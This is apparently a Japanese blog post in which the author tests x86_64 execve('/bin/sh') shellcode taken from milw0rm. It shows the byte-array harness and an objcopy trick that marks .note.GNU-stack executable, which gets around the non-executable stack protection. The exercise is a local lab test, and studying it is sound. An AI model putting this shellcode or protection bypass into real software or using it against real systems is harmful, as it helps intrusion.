x86_64環境でシェルコードを実行するコードをテスト。
元ネタのシェルコードはここ
とりあえずこれはアセンブラのソースなので適当な名前で保存してgccの-cオプションでオブジェクトファイルに変換。
それをobjdump使ってバイトコードを出力、それをcharの配列にする。

そんな感じで出来たのがshelcode.cなんだけども、これをコンパイル&実行してもcoreを吐くだけでshellの実行はできない・・
スタック上のコードを実行できないようになっているんだろうと言うことで、Binary Hacksを開いてHACK #33を読む。

shellcode.cをgccの-cオプションでコンパイルして作成したオブジェクトファイルをreadelfコマンドで確認。

  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 9] .note.GNU-stack   PROGBITS         0000000000000000  00000113
       0000000000000000  0000000000000000           0     0     1

なるほどFlagsに該当する値が入ってないようだ。
とりあえず値をcodeにしてみる。
$ objcopy --set-section-flags .note.GNU-stack=code shellcode.o shellcode2.o

objcopyでできたshellcode2.oをreadelfで確認するとフラグがセットされているのが分かる

  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 9] .note.GNU-stack   PROGBITS         0000000000000000  00000113
       0000000000000000  0000000000000000  WX       0     0     1

これでshellcode2.oをgccコンパイルして実行すると・・・

[masami@moon:~/dvl]% gcc shellcode2.o
[masami@moon:~/dvl]% ./a.out
sh-3.1$

無事にスタック上のバイトコードが実行できた。
これでちょっとしたことならdvlじゃなくてもテストが出来そう!

// shellcode.c 
// Howto build
// $ gcc shellcode.c -c
// $ objcopy --set-section-flags .note.GNU-stack=code shellcode.o shellcode2.o
// $ gcc shellcode2.c
// then run a.out
// $ ./a.out
// sh-3.1$
//
#include 
#include 

// shell code was based on http://www.milw0rm.com/shellcode/2705
char shellcode[] = { 
 	"\x48\x31\xd2"			// xor    %rdx,%rdx
	"\x48\xbb\xff\x2f\x62\x69\x6e"	// mov    $0x68732f6e69622fff,%rbx
  	"\x2f\x73\x68"
	"\x48\xc1\xeb\x08"		// shr    $0x8,%rbx
	"\x53"				// push   %rbx
	"\x48\x89\xe7"			// mov    %rsp,%rdi
	"\x48\x31\xc0"			// xor    %rax,%rax
  	"\x50"				// push   %rax
	"\x57"				// push   %rdi
	"\x48\x89\xe6"			// mov    %rsp,%rsi
	"\xb0\x3b"			// mov    $0x3b,%al
	"\x0f\x05"			// syscall
	"\x6a\x01"			// pushq  $0x1
	"\x5f"				// pop    %rdi
	"\x6a\x3c"			// pushq  $0x3c
	"\x58"				// pop    %rax
	"\x0f\x05"			// syscall
};

int main(int argc, char **argv)
{
	void  (*fp) (void);
	fp = (void *) shellcode;
	fp();
	
	return 0;
}